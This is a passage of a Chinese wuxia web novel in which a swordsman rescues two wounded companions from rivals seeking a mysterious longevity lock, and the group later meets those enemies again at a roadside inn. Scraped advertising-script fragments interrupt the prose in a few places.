万克礼也跟着跳了下去。 木姜心道不好,雨馀凉和鱼晚衣不是万克礼的对手,何况他们身受重伤,只能任凭万克礼摆布,当即就要跟着过去。刚踏出一步,突然一道寒气迎面袭来,木姜忙举刀封挡,当的一声,只觉对方这一剑附着的劲道甚大,将他的身子直接抬上了半空。木姜由着这股劲道将自己往后带出一丈来远,落在垛口之上。 木姜抬头望去,只见连江也站上了女墙,举剑笑道:“到哪儿去?你的对手是我。” 雨馀凉虽然提起轻功,但本身受了内伤,再加之背上还背了个人,离地面还有九、十尺高时便散了气,失去了平衡,但他念着鱼晚衣,硬是没让鱼晚衣从他背上滑脱而出,又心一横,维持着自己在下的位置重重摔在墙脚边,这一下让他吐出了一大口血。 鱼晚衣虽然不能行动,但意识尚还清醒,见雨馀凉失去平衡后仍紧紧抓着她,摔下去时又以自己的身体在下,作为她落地的缓冲。忙挣扎着从雨馀凉背上滚下来,伸手抚上雨馀凉的脸,道:“雨少侠,雨少侠,你怎么样了?” 好在雨馀凉不是刚从城墙跳下时就内力不济,他虽然伤重,但此刻尚有一口气,虚弱地对鱼晚衣笑了笑。 鱼晚衣心中一喜,尽力抬起酸软无力的手臂,正准备点了雨馀凉的穴道止住他的出血,突然一只脚出现在她的视野中,接着又是另一只。雨鱼二人都无力起身,于是顺着那双脚往上望去,发现站在他们面前的人正是万克礼。 两人身子都是剧烈一颤。 万克礼二话不说,如同踢地上的石子一般一脚将鱼晚衣踢开,鱼晚衣身子撞上城墙墙脚又慢慢滑下。 雨馀凉叫道:“鱼姑娘!” 万克礼俯身,一手抓住雨馀凉的头发,让他能够抬起头来看着自己的脸,道:“小子,我再问一次,玉钥匙和人皮图,这两样东西你是交还是不交?” 雨馀凉有气无力道:“……我根本不知道你说的那两样东西是什么,你要我怎么交?” 万克礼嘴角撇下,看向雨馀凉的眼神与看死人的眼神没有分别。扯住雨馀凉头发的手就维持着原来的高度,五指一张,雨馀凉的头又一次摔在地上。 万克礼面无表情道:“你也真是傻,你以为你不主动交出来我就找不到了吗?你要是主动交出来,说不定还能活命,现在好了,命也没了,东西最终还是会到我手上。我姓万的也算是在江湖混了这么多年,知道一个人会把东西往身上哪里藏。你藏在衣服里,我就在衣服里找,你藏在肚子里,我就把你的肚子剖开……咦?” 万克礼像是突然察觉了什么,伸手在身上摸索,表情竟然有些惊慌。 只见他手忙脚乱将那叫做“玉铃”的东西从怀里拿出,那东西死气沉沉地,竟是一动也不动了。 奇怪,方才还有反应,且是越靠近这小子玉铃震动得越厉害,怎么现在自己与这小子就近在咫尺,玉铃怎么反而不动了? 万克礼不再理会雨馀凉,捧着玉铃四处走动,一边走一边嘴里念念有词,依稀是在说“不对啊”“怎么回事”等语。 走到一处杂草从时,那铃又震了起来。万克礼脸上一下露出笑容,忙拨开草丛翻找,最终找到一把麒麟形的长命锁。他将长命锁放在一手,玉铃放在另一手,两手靠近,那玉铃剧震,隐隐发出嗡鸣之声,这嗡鸣声却不是铃舌的响动。 万克礼哈哈大笑,将长命锁和玉铃一同揣入怀中。不过他心中尚有疑惑:另一半玉钥匙和人皮图他虽没见过实物,但描画这两样东西的图画他是见过的,知道这两样东西长什么样,光从外形来说,这长命锁可以说和那两样宝贝八竿子打不着。但管不了那么多了,既然玉铃有反应,就说明这长命锁有猫腻儿,先把东西带回去再说。不过两样东西离得太近,玉铃不停地震动,硌得人怪不舒服,回去的路上玉铃和长命锁就他和连江分别揣着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两人离得远一些。 雨馀凉看到万克礼从草丛里捡起的那把长命锁跟自己佩戴的一模一样,心里一个激灵,难道刚才摔下来时长命锁掉出去了?虽然伤势沉重,却不知从哪里爆发出一股力气,先是在自己怀中摸索一阵,确定长命锁已经不在身上后,竟用手撑地站了起来,对万克礼道:“还给我!” 万克礼回身就是一脚,雨馀凉复又跌倒。万克礼道:“还你什么,还你什么?先前还不承认东西在你身上,有本事别说这是你的东西啊。” 这脚力道不小,雨馀凉的后脑重重磕在城墙的石砖上,和鱼晚衣并排靠在城墙脚。 万克礼举起匕首就要往雨馀凉身上挥落。 鱼晚衣道:“东西你已经拿到了,又何必再伤他性命!” 万克礼道:“他刚刚可是拒绝把宝贝给我的啊,只要他拒绝,我就要杀他,机会只有一次,跟我拿没拿到宝贝有什么关系呢。不过你也不用再担心别人,因为等我结果他后,就该轮到你了。”说着便接着动手。 只听得喀的一声,万克礼看见格住自己匕首的钢刺,而这钢刺在不住抖动,显然是使这钢刺的人身体已经虚到了极处。 万克礼对鱼晚衣道:“既然你想先来,老子便成全你。”匕首一沉,便压着鱼晚衣的钢刺朝她自己刺去。鱼晚衣方才招格住万克礼的匕首就已经用尽了力气,此刻竟全无反抗之力,连卸开万克礼这一击也做不到了,只能眼睁睁地看着钢刺和匕首一同向自己刺来。 突然,万克礼感到肚腹一凉,他心下一愕,忙向后跳开。定睛往自己肚子一看,那里的衣物已被划破,皮肤上虽然没有伤口,但很显然,他方才离自己的肚腹被剖开只有一步之遥。再往前看去,只见雨馀凉依旧坐在墙边,手上却多了一把明晃晃的长刀。 眼前这二人武功皆不如自己,更别说他们身受重伤。因此万克礼状态十分松懈,方才他全副注意都集中在鱼晚衣身上,连雨馀凉以刀对着自己都没察觉。 要不是雨馀凉浑身虚软无力,这一刀无论速度还是力道都不足,现下万克礼肚子上已经被开了个窟窿了。 雨馀凉喘着气,时不时咳出些血沫出来,显然也是在强自支撑。 万克礼骂道:“狗日的杂种!”他在水西武林名气不可谓不大,论资历,他比雨馀凉高出不知多少,今日却差点栽在这武功粗浅的小毛孩手上,若传出去岂不让人笑掉大牙?一时间恼羞成怒,踏上几步就要将雨馀凉杀了。雨馀凉双手握住长刀,要去架万克礼的匕首,万克礼匕首打在雨馀凉刀刃上,雨馀凉只觉虎口剧震,双手再难握持,长刀脱手,哐当一声落在十数尺之外。万克礼打飞雨馀凉长刀之后,一手掐住雨馀凉脖颈,另一只手握住匕首就要往雨馀凉身上戳去。 就在这千钧一发之际,鱼晚衣掷出一枚飞针,径扎万克礼右眼。 先前万克礼没发觉雨馀凉以刀刺向他是因为他的轻敌,此刻万克礼情绪激动,再一次没注意到鱼晚衣掷向自己的银针。好在他高手的底子还是有的,反应及时,闭眼的同时身子后仰,那银针只擦破了他眼皮。 万克礼有一瞬的心惊,害怕鱼晚衣在针上喂毒。若那毒是要人命的,自己一命呜呼。就算那毒不致命,伤口离眼睛这么近,也难保不会有失明的风险。好在伤口处除些微刺痛外并无其他异样之感,针上应该没有毒药。 如此一来二去,万克礼被大大激怒,同时他也知道不能再拖下去了。 先前连江与木姜过招时,万克礼在一旁观看,连江只能跟木姜打个平手,甚至稍稍落于下风。若木姜解决完连江后过来找他,那么非但到手的宝物不能取走,他自己说不定还会丢了性命。 等他将这两个人处理了,就上去和连江一起对付那疤脸汉子。论单打独斗,他俩应该谁都不是那疤脸汉子的对手,但二人合力,他便有把握将疤脸汉子也料理了。 眼下就是希望连老三能尽量拖久一些了。 万克礼走近雨馀凉和鱼晚衣,双臂分别前伸。 这一手擒拿勾抓功夫,是他的得意招数。死在这一手上的武功名家岂止数人,虽然今日用在这两人身上有些浪费,但他不能再在这陪他们浪费时间了。 先前万克礼都没有使出真正意义上的武功招式,无论是以匕首戳刺雨馀凉,还是以匕首压制鱼晚衣,抑或是以匕首击打雨馀凉的长刀,都是没学过武功的普通人也能做到的动作,并没有招式套路蕴含在其中。但就是对这些简单动作进行的那几下反抗,已经将雨鱼二人仅剩的气力都耗费殆尽。两人俱是气喘吁吁,连手也抬不起来。 这次万克礼使出高深的武功招式,别说雨鱼二人已是动弹不得,就是二人状态绝佳,也无法在这套擒拿勾抓手下过上五招。 就在他双手就要触碰到雨馀凉和鱼晚衣时,一道白光从天而降,啪的一声,一把刀刚好竖直插在他面前。但凡他再往前半步,这刀都将直接贯穿他头颅。 31. 围猎(三) who 万克礼想到了连江在与木姜的打斗中占不了便宜,也预料到了连江和木姜打,情况可能不容乐观。但实际情况是,连江的处境比他想象中还要不妙。 城墙脚下,雨馀凉和鱼晚衣力拒万克礼,城墙之上,连江攻出的又一招被木姜拆解,同时他接下来的动作也都一一被封住,那些后着变化一个也使不出来。自己的招式施展不开、束手束脚的同时,木姜的刀招还在接连不断攻来,他更是被逼得手忙脚乱。 连江心里纳闷:怎么跟先前不一样?怎么这疤脸汉子一下就比之前厉害那么多? 虽然先前他和木姜打时也没能占到上风,但他能够感受出之前木姜拆解他部分招式时是比较生涩的,并且有时只能堪堪拆解,或动作略有凝滞。但此刻木姜拆解起来竟是十分熟稔,十分得心应手。不仅如此,木姜反击的方式也越来越锐利,似乎随着他们的过招,木姜越来越多地发现了他这套武功的弱点。 并且奇怪的是,有好几次木姜是能够用刀砍中他的,但木姜似是没能判断出这些机会。有时他是用剑将木姜的刀架格住了,他心里明白自己此时只不过是空有架势没有力道,他的劲力在慌手慌脚应付木姜之前接连不断的来招时就已经用尽,但木姜并没有持续发力将他的剑拨开或下压,而是蜻蜓点水一般在他的剑上碰了一下后便主动撤刀。有时他压根就来不及用剑挡住木姜刺向自己的刀,但木姜就像没发现他这些破绽一样,只以刀刺向别的方位。 这种情况次数多了后,他已经有些搞不清楚木姜究竟是个高手还是半吊子。 突然长刀刀光闪烁,木姜刀路一转,刀尖径向他削来。连江打起精神,对来招凝目细视,待木姜将这招施展开后,连江惊愕不已。 这一招,这一招不是他的剑法吗? 更令连江错愕的是,木姜是完全将剑法化成了刀法,而非简单地用刀使出剑法。他这套剑法的种种精奥之处,也都在木姜的刀法之中得以展现。 连江背后冒出涔涔冷汗。 在这样的黑夜里,遇上这样的对手,唯有用邪门两字才能够形容。 但连江在江湖行走多年,邪门的事也见过不少。他很快冷静下来,凝神应付木姜的来招。 二人又过了十来招后,木姜右手突然斜向下一掼,连江以为他又要使出什么奇招,当即舞剑护住周身,防守的同时又暗含各个方位的进手招式。 只见如流星般一闪,木姜竟是把刀扔了出去。连江对其用意大是不解,往城墙下一看,只见那刀刚好插在万克礼与雨鱼二人之间,这才明白他此举是为了解城下两人之难。 忽然连江眼前劲风疾吹,木姜骤然出现在离他不足四尺的所在,一掌便朝他面门拍来。连江一惊,堪堪躲开,随即刺出一剑,木姜身形闪动,这一剑未能刺中。 连江慌张之下,剑路已乱,料想木姜的下一招无论如何硬接不下来了,当即足尖一抵,急速向后退去,然而定神再看之时,城墙上哪还有人影? 原来将他逼退后,木姜的目的就已达成。只见木姜在空中打了个转,游鱼一般径直向另一处战局而去,身法行云流水,倒着身子拔出插在地上的长刀,当即以长刀和万克礼缠斗在一起。 雨馀凉见木姜到来,如释重负,正准备开口说话,可一张口就是一阵咳呛。咳了好一会才好不容易止住,雨馀凉对木姜喊道:“木前辈,咳……我的长命锁被这人夺去了……” 木姜刚拆解掉万克礼匕首夹杂着擒拿勾抓手的一招,略微回头道:“嗯。” 与此同时,连江也从城墙上跳了下来,还没落地便大声道:“老四!妈的,麻烦到你那边去了!” 连江见万克礼没有反应,落地后又走到正与木姜拼斗的万克礼旁边,道:“妈的,麻烦到你这边来了!” 万克礼一边打架一边道:“我有眼睛,我自己会看!还有你能不能不要说那么多‘妈的’?听得人心烦。” 然而下一刻他怀里的长命锁便被木姜以刀挑出,那玉铃也一道被挑了出来,落在地上骨碌碌滚了几滚。万克礼低头看了眼自己被划破的衣衫,伸手探到腰间取下长鞭,啪的一声抖开,骂道:“妈的!” 他嘴上骂着,手上动作不停,一根长鞭竟使得如灵蛇一般夭矫,鞭身直绕上木姜刀尖的长命锁。 木姜见状,忙缩手回刀,但长命锁还是被长鞭扫中,高高抛出,落在数丈之外的地上。 万克礼本想以长鞭将长命锁卷回,这一下却也没能得手。 木姜和万克礼同时看着不远处的长命锁,又同时看了对方一眼,突然间同时蹿起,朝着长命锁的方位而去。 然而奔到半途,连江飞身挡至木姜身前。他要拦住木姜的去路,让万克礼顺利地拿到长命锁。 木姜心想,这二人如此难缠,若再不伤人,先不说能不能抢回长命锁,自己要带着雨馀凉和鱼晚衣全身而退也怕是不易,事到如今,顾不得结不结仇了。心内一发狠,挥刀将连江的剑荡开,连江只看到眼前白光一闪,接着木姜的刀就送入了他左肩。 连江惨呼出声,正向长命锁奔去的万克礼听到连江的叫声,忙回过头来,就是这一瞬间的迟疑给了木姜机会。木姜施展开轻功,一跃便跃到了万克礼之前。在离长命锁还有数尺远时,木姜已将手臂伸出,去够那长命锁。 连江见木姜就要得手,忙对万克礼道:“我的伤没事,快去拿东西!” 就在木姜的手要触到长命锁时,万克礼挥出长鞭,鞭梢缠上木姜手腕,木姜只觉自己的手被一股大力禁锢住,不能再往前半寸。万克礼再控住长鞭往旁边一扯,木姜整个身子都腾空而起。 木姜被拉到空中的同时,将手中的刀甩出,那刀旋转着飞向已经来到长命锁旁边的万克礼。万克礼正准备取走长命锁,蓦地腰间一凉,原来是木姜的长刀将他的侧腰砍伤。这伤口极宽,鲜血从里面汩汩流出,万克 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 礼表情扭曲地滚倒在地。 与此同时,木姜也被万克礼的长鞭甩在了地上。木姜以内力操控长刀,那长刀在空中飞了一圈,木姜身子刚沾地,便伸手接住了回旋到自己这里的长刀。 木姜不打算多耽,随即奔出十数尺来到城墙脚,一手提了雨馀凉腰带,一手挟了鱼晚衣,又转到另一方向奔出两丈,脚往地上一钩,将长命锁钩起,万克礼蜷缩在地,眼睁睁地看着木姜于近在咫尺处将长命锁夺了回去。木姜一脚踏出,兜了个圈子,纵身跃上城墙。 回到客栈,此时已约莫到了寅初三刻,客栈大门紧闭,四下里寂静无声。 木姜认出自己房间的窗户,提着雨鱼二人撞了进去。 他将雨馀凉和鱼晚衣并排横放在床上,拿出药丸来,分别给雨馀凉和鱼晚衣服下。 当他拿起长命锁,准备放进雨馀凉胸口的衣服里时,手突然停在了半空。 这长命锁究竟有什么玄机,让那两人不要命地抢夺? 木姜手拿长命锁,来到窗边就着月光细看。 这是一把麒麟形的长命银锁。麒麟雕刻得十分生动,身下坠下五条坠子。旁边的坠子都是小巧的银灯笼,中间最长的一条银坠上则錾着海棠莲花纹样。虽然已经发黑,但整把长命锁做工极是精美。 他看了半晌,没看出什么特别之处,又走回床前,将长命锁塞进了雨馀凉怀里。 做完这些后,木姜一下坐进椅子里仰倒,望着天花板出了一会神后,这才感觉到自己口渴了,拿过桌上的茶壶茶杯,给自己倒了一杯早已变凉的茶水。 他提着两个人飞了这么远,虽然这两人不重,也累得他够呛。 那中年汉子和老者看上去有点眼熟,似乎在水西什么地方见过,但他死活记不起他们是谁了。 一开始他以为这两人是追杀鱼晚衣的人,结果他们的目标竟似乎是雨馀凉那小子的长命锁?那小玩意儿虽然是比一般的长命锁精巧,可也不像价值连城的样子…… 木姜摇摇头,决定先考虑摆在眼前的问题:带着两个伤号赶路多有不便,路上说不定还会遇到危险,但此地也已经不宜久留。 怎么办? 木姜一时也没了计较。 他抿了口茶水,感受着一线冰凉沿喉咙滑下。 不过说到底,当初要不是他心血来潮要教雨馀凉武功,如今也不会多出这些事。 他早已不愿再插足江湖纷争了。 此次出来,也只为再完成最后一件事。 关于雨馀凉的身世,他一开始是不感兴趣的。就算雨馀凉是某位武林盟主、掌盟的私生子又如何?一切跟他无关。 但是现在…… 一股强烈的好奇攫噬了他的内心。 他来到床前,看着雨馀凉和鱼晚衣的脸。心想: 你们究竟是谁? 此刻受了内伤的二人正沉沉昏睡,皆紧闭双目。 32. 围猎(四) 木姜躺在椅子上,他很困,但一直没能睡着,就这样迷迷糊糊地挨到了天亮。 忽然听得有人惊叫一声,木姜猛地张开眼,一眼就看见雨馀凉坐了起来,一脸惊愕地望着躺在旁边的鱼晚衣。 他看着鱼晚衣怔了一会,突然想起了什么,忙低头看自己的衣服是否还完好地穿在身上。 木姜微笑道:“看来你伤势恢复得不错,我的担心是多余的。” 雨馀凉骤闻人声,身体一震,忙回过头来,见是木姜,紧绷的神经这才略微松弛下来,道:“木前辈,我这是……”他想问的一时有点多,结果一句也没问出来。 昨晚木姜把雨馀凉和鱼晚衣带回客栈前,这二人就已经晕死过去。所以雨馀凉对于木姜把他和鱼晚衣放在一张床上一无所知。 木姜笑笑:“是我将你们放在一起的,方便我照顾伤号。” 似是被木姜和雨馀凉的对话吵醒,鱼晚衣也缓缓睁开了眼睛。 雨馀凉见状,忙翻身从床上下来。 鱼晚衣的记忆一时还停留在昨晚城外的战斗上,看着周围客栈房间的陈设,先是懵了一会,随后又看见雨馀凉站在一旁,忙道:“雨少侠,你……你没事了吗?” 雨馀凉听她第一句话就是关怀自己的伤势,不由得好生感动,柔声道:“我没事,我没事,昨儿受的伤,一点都不痛了,倒是鱼姑娘你有事无事?毕竟你之前还受过伤……”其实他背上还有些疼痛,但看到鱼晚衣脸上充满了对自己的关心,不知道为什么竟有心花怒放的感觉,如此一来,他是真的不觉得背上有多痛了。 鱼晚衣道:“我也没什么大碍了。雨少侠,你……要好好养伤,这内伤若是不好生将养,极易留下病根。” 雨馀凉道:“你光提醒我好好养伤,你自己就不好好养伤了吗?” 鱼晚衣有些忸怩,道:“我……我也会好好养的啊。” 木姜的目光在二人之间逡巡,最终清了清嗓子,插入了两人的对话,道:“二位,请听我一言。” 雨馀凉和鱼晚衣同时看向木姜。 鱼晚衣似是这时才看到木姜也在,想到刚才与雨馀凉的对话尽数被木姜听去,微微有些不好意思。 雨馀凉虽然知道木姜在场,但见鱼晚衣主动关心自己,内心极是高兴,不知不觉间就遗忘了木姜的存在。想到刚才当着木姜的面与鱼晚衣一句一答,也有些不好意思。 木姜道:“昨天晚上那两个人究竟是来找你们当中的谁的?” 鱼晚衣道:“他们就是之前追杀我的人,起初是来找我,结果之后不知为何说雨少侠身上有他们要的东西。”她低下头,“是我连累了雨少侠。” 雨馀凉听木姜说起昨晚的事,猛然想起自己的长命锁,忙伸手探到怀中,当熟悉的触感爬上手指时,雨馀凉心中长长地舒了口气。他又将长命锁拿出,放在手中细看,确定就是他的那把长命锁,这种失而复得的感觉让他内心感到一种难言的慰藉,又让他对木姜产生了更进一步的感激之情。 雨馀凉郑重对木姜道谢:“木前辈,多谢你帮我夺回它,我……真不知如何感谢你才好,如果以后有用得着雨馀凉地方,尽管使唤我就是。”他又转向鱼晚衣道:“鱼姑娘,那两个人想要我身上的长命锁,这点不会因为你而改变,你不过是让我更早地遇上了他们,请不要自责。” 木姜对雨馀凉道:“馀凉,先前我一直没问有关你身世的问题,虽然可能你也不知道多少,但关于长命锁……你能说说你的长命锁上有什么秘密吗?为什么那两个人会这么想要一把长命锁?” 雨馀凉摇头道:“在昨天晚上之前,我也一直以为这只是一把普通的长命锁。自从爷爷将我捡来时,这把锁就一直被我带在身上,我从来都没有发现它有什么奇特之处。对于那两人为什么要抢夺长命锁,我也十分不解。只是,他们带着一个叫做什么‘玉铃’的物什,那玉铃只要一靠近我的长命锁,便会震动起来,离得越近,震得越厉害。”他看着下方,表情凝重道:“说不定……跟我的身世有关。” 房间里的三人都隐约意识到一件事,既然这把长命锁不简单,那么雨馀凉的身世也不简单。 木姜垂眸,将手放在下颌处,似乎陷入了思考。 雨馀凉心想,爷爷只是让他到了仲邑江附近时不要轻易把长命锁暴露出来,之前他还没多把这句话放在心上,没想到现在离仲邑江还隔着十万八千里,这把长命银锁就已经惹来了是非。 木姜道:“经历了昨晚的事,敛安是不能久待了,谁知道昨晚那两人会不会叫来帮手?要是叫来的帮手水平都跟那二人一样,我们三人死无葬身之地。可是呢,你们二位身上有伤,赶路倒是有些麻烦,咱们出了城,若是行进速度缓慢,在荒郊野外极容易被盯上,还不如留在城里。”木姜顿了顿,道:“依二位之见,是留在这里还是继续赶路?” 鱼晚衣坚定道:“我要离开。” 木姜的头略微一抬,没想到鱼晚衣这么干脆地就做出了抉择。 鱼晚衣看了看木姜,又看了一眼雨馀凉,道:“多留必然无益。我伤势恢复得很好,要赶路的话没有问题。况且我本来也打算今天要走的,昨日我观察周边情况,就是为了今天离开做准备,不想晚上就遇上了他们。幸亏……木前辈昨夜伤了那两人,他们要去搬来帮手,应该要花一些时间,我就趁这个空隙早些离开。”她一开始没想好怎么称呼木姜,便跟着雨馀凉称其为“木前辈”。 鱼晚衣又道:“雨少侠,如果你伤势未好的话,还是留在这里,不要勉强赶路。城内人来人往,他们要找你,不会那么快。何况,还有木前辈在。” 雨馀凉心道:“原来就算我们不跟她一起,她一个人也要继续赶路。” 雨馀凉现在只是背心肌肉牵动才稍有疼痛,其他的倒是都没问题,运使内息也没问题。别看他昨晚不断咯血,恢复得倒也快。于是道:“我的伤恢复得也差不多了,既然于赶路没有影响,我认为我们还是越早离开这里越好,继续留在这,岂不是坐以待毙?一边要时时留意外界的动向,就算想要好好养伤也不行了。” 既然两个伤号都没问题,木姜也没什么可说的了。他和雨馀凉都要往北赶,便从北城门出城,巧的是,鱼晚衣也是要向北去,三人便一道同行。 出城后一路上都还算顺利,出了敛安城向北行进二十多里后,三人在路边一处酒家暂时歇脚。 赶路人多,这荒郊野外方圆数里又只有这一家打尖的地方,所以生意异常火爆。茅草屋内和屋外草棚下都坐满了人,于是店家在草棚外又摆了几张桌子。 雨馀凉等人来时,草棚外只剩最后一张桌子还空着了。 雨馀凉刚坐定,目光无意间瞟到旁边一桌客人,微微一怔。 那桌也坐着三个人,其中一个是形状萎靡的男子,一个是打扮干练的吊梢眼女子,还有一个是身形高大的年轻汉子。 雨馀凉记得他们,在敛安那家客栈中,这叫做范舟诚的年轻汉子一人将三个武功丝毫不弱的中年汉子打得落花流水,狼狈而走,那个时候,他对这年轻汉子甚至微微有些羡慕。 再看他们旁边,果然还坐了两桌,一桌三人,一桌四人,桌边坐着的依稀与那天是同一拨人。 这十人真是一道的。 雨馀凉只在心中感慨了一番没想到在这里又遇上,也没再多想别的,端起茶杯埋头喝茶。 因着人多,这酒家厨下人手又有限,所以菜上得极为缓慢。雨馀凉和木姜、鱼晚衣点了菜后,等了很久才只上来了一道清炒苕尖。 三人都饿了,就着这一盘菜拿起筷子就吃起来。 忽闻得草棚内一阵吵闹,一人对着小二吼道:“怎么他们比我们后来,他们的菜都上来了,我们的还没上来?你们怎么搞的?” 小二忙赔礼道歉,一边又去厨下催,那人这才骂骂咧咧作罢。 雨馀凉见那桌人桌上凳边都放着兵器,寻思这也是一路江湖人。再看周围人的装束打扮,突然发现这里的每一桌客人似乎都是武林中人。 在谷州府时,江湖人很少见到,他们谷州刀派的弟子自己就是“江湖人”。之后离谷州府越远,雨馀凉看到的江湖中人就越多。在敛安时,客栈里吃饭的武林中人几乎占了一半,到了这里,非武林人士反而少见了。 雨馀凉突然有些感慨,自己离以前的生活,似乎越来越远了。 这时似是又有人来到酒家,小二一边在围裙上擦着手,一边忙抢过去道:“哎哟,二位客官,对不住,小店已经没有空位了。” “爷两个走了这么远的路,好不容易见到你这么一家歇脚的所在,谁知道还要走多远才能到下一家店?” 这时另一个小二托着盛放了各色菜肴的木盘走到雨馀凉等人桌边,将磊在上面一层的几盘菜和一盏汤端了下来,对雨馀凉等人道:“客官,你们的菜齐了,请慢用。” 雨馀凉等人谢过,又听先开始的那小二道: “两位爷,真的对不住,小店实在没有空位了,连多余的桌子也没有了,二位要是不介意,我帮二位问问有没有愿意匀出座位来的客官。”说着便转向吃饭的众人,高声道:“有没客官有愿意跟这两位客官挤一挤一桌用饭的?” 没人回应。有人低头不理,只顾喝酒吃饭;有的人把头抬起看了小二和那两人一眼,又把头低了下去。 小二回过头,满脸歉然地对那二人说道:“客官,实在没法子,若是你们愿意等,可以等别桌的客官吃完了把位置腾出来。” 因那汤刚好放在木姜面前,因此木姜给鱼晚衣和雨馀凉各盛了一碗,又舀了汤里的菜进去,雨鱼二人接过汤谢了,木姜最后才给自己盛。 站在酒家门口的其中一人往里走了几步,目光在每一桌扫过。木姜、雨馀凉、鱼晚衣三人所坐的位置在一棵大树之后,这棵树刚好挡住了酒家门口,只有木姜坐的那方稍稍靠外些。 此时木姜正拿了调羹舀起一瓢汤放在嘴边轻轻吹着,往旁边随意瞥了瞥,突然,木姜身形一僵,吹凉的汤还没有喝,就将调羹放回了碗中。 鱼晚衣见木姜举止有异,问道:“木前辈,怎么了?” 雨馀凉听鱼晚衣这么问,也看向木姜。 木姜轻声道:“你们别动。”他虽是在跟鱼晚衣和雨馀凉说话,却一直盯着树的另一边。 鱼晚衣感到一阵莫名的紧张,略微斜了斜身子,小心翼翼地从大树后探出半边脸往那头看。只看了一眼,她便迅速将脸缩回了树后。 鱼晚衣的心怦怦而跳。 竟然是连江和万克礼。 木姜也收回了目光,继续若无其事地喝汤。 连江看了一圈,在确实没看到空桌后,正准备离开,他转向木姜等人所在的那棵大树的方位时,突然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脚如同钉在了地上一般,迟迟不再动作。 ------------------------------ 自从第一位掌盟的权势凌驾于水西武林盟主之上后,水西武林的事,都是由掌盟说了算。并且不知是什么原因,没有掌盟能将这个位置传给自己的下一代。那些掌盟们在世时无论多么神通广大、一手遮天,死后这个位置和称号都会迅速被他人夺去,没有一个人的子孙能够承袭他们的权势和威名。 不像武林盟主那样父死子继,兄终弟及,这也导致了水西掌盟之位的交替过程通常十分血腥。 鱼晚衣所在的组织九歌,前主人正是水西上代掌盟聊正赟。 聊正赟此人,在水西的历任掌盟中都算是个另类。无论是统治才能还是武功,都远在之前的掌盟之上——除了一位名叫岑微明的掌盟。并且与他的能力相匹配,聊正赟野心勃勃,霸道自专,称得上是一代枭雄。 但在他活着的时候,却一直没能取卫氏而代之。如今枭雄已死,唯一的儿子聊以偲野心更甚其父,他接手了父亲留下的所有东西,包括直接听命于聊氏家主、为家主完成各类任务的九歌。 然而造化总是弄人,之前的水西武林盟主都是听话的傀儡,可如今出了一个卫尧觉,这位盟主大人似乎有自己的想法。 聊正赟死后,卫尧觉立即任命了一名新的掌盟,却不是聊以偲。 父亲聊正赟在历代掌盟里都是特别的存在,所以聊以偲认为自己作为聊正赟的儿子,自然也是特别的。即使之前从来没有儿子继承父亲掌盟的位置,但因为他聊以偲是特别的存在,所以他能开先河,他能成为聊氏第二个掌盟,并且在他之后,掌盟这个位置也将永远属于聊氏。 聊以偲认为,不说其他,光看权势、声望,如今的水西又哪里还有一个家族、门派能比得上他们聊氏这般如日中天?从这一点来说,这个位置也非他聊以偲莫属。 聊以偲担任下一任掌盟是众望所归,他也一直真情实感地满心认为自己就是下任掌盟,只需等武林盟主象征性的一句话,他再假意推却几句,随后便能坐上掌盟之位。 其实,在水西,武林盟主的想法根本不重要,但仍需要武林盟主发话,很多事才名正言顺。 但卫尧觉根本不按常理出牌,他选择了一个根本不会武功的人来担任掌盟,新任掌盟不仅不会武功,他的家族此前也藉藉无名。 消息传到聊氏所在的衡泽,聊以偲狂怒不已。 在聊以偲心中,卫尧觉侮辱了掌盟这个位置,侮辱了他,也侮辱了他父亲,侮辱了他们聊氏。 没有以他聊以偲为掌盟也就罢了,卫尧觉任用其他人为掌盟,竟敢不和自己商量就行事。 聊以偲在心中暗下决心,一定要让卫尧觉付出代价。从此以聊氏和卫氏为首,水西武林分成两派势力分庭抗礼。 如今的水西武林盟主卫尧觉倒也有些本事,跟他窝囊的爹和哥哥一点都不同。卫尧觉将水西不少势力拉到了自己阵营,其中就包括沧阆派。 沧阆派是水西一个极其古老的名门大派,其历史甚至可以追溯到卫寂霆一统水西、水东、水南三地武林之前,就算到了现在,实力仍然不可小觑。连江和万克礼奉沧阆掌门之命前来水南,正是因为卫氏得到了聊氏九歌来到水南办事的情报,沧阆派既是卫氏的盟友,于是派出人来截杀九歌成员,破坏聊氏在水南的行动。 鱼晚衣作为九歌中的山鬼,便被连万二人盯上,成了他们的目标。 只是在追击九歌的过程中,连江和万克礼惊奇地发现,他们掌门一直在苦苦追寻、但多年来连影子都没见到的玉钥匙和人皮图两件宝贝,竟会出现在一个平平无奇的小子身上。 原来连江和万克礼昨晚和木姜交手俱受了伤后,对木姜心生忌惮,知道雨馀凉身上的玉钥匙和人皮图短时间内是到不了手了。他们此前查出山鬼鱼晚衣来到水南是为了从九寒山牢带出九歌的另一名成员河伯,便决定先去找河伯,将河伯干掉后再回头想办法杀鱼晚衣,顺便将长命锁弄到手。 木姜和连万二人是麻秆打狼两头怕,都想早些离开敛安离对方远点。前者是本来就要往北走,后者循着河伯的行踪也一路向北,于是两方人马在这里又碰上了。 连江看见木姜后,眼角抽动了几下。 木姜知道连江已经看见了他,但仍作没注意到连江的样子,只是一小口一小口地喝汤。 万克礼见连江站着不动,叫道:“怎么了老三?” 见连江没有反应,万克礼走了过来,一边道:“看见什么了?”一边顺着连江的目光看过去,也怔住了。 此时木姜和鱼晚衣都知道外面站着的是连万二人,就雨馀凉不知道,那棵树将他的视线挡得严严实实。但他也本能地感受到了危险,身体紧绷起来。 万克礼看了木姜一阵,又环视了一周酒家里的众人,忽然朗声朝着木姜的方向道:“原来是好朋友在此,朋友既得了那玉钥匙和人皮图,不知可否在这里拿出来给众位英雄欣赏一番,也好让大家伙都开开眼界啊。” 他说这话的声音极大,周围本来极是吵闹,但他的说话声却盖过了所有声音。酒家里原本一派热火朝天的气氛,万克礼话音刚落,便一下安静下来,所有人的目光都齐刷刷射向木姜这桌。 木姜端着碗的手霎时一顿,同时在心里骂了句“可恶!” 33. 围猎(五) 木姜听万克礼竟当众大声说出玉钥匙和人皮图在他们身上,心内大呼不好。他眼睛斜视,果然周围人的目光纷纷射了过来。 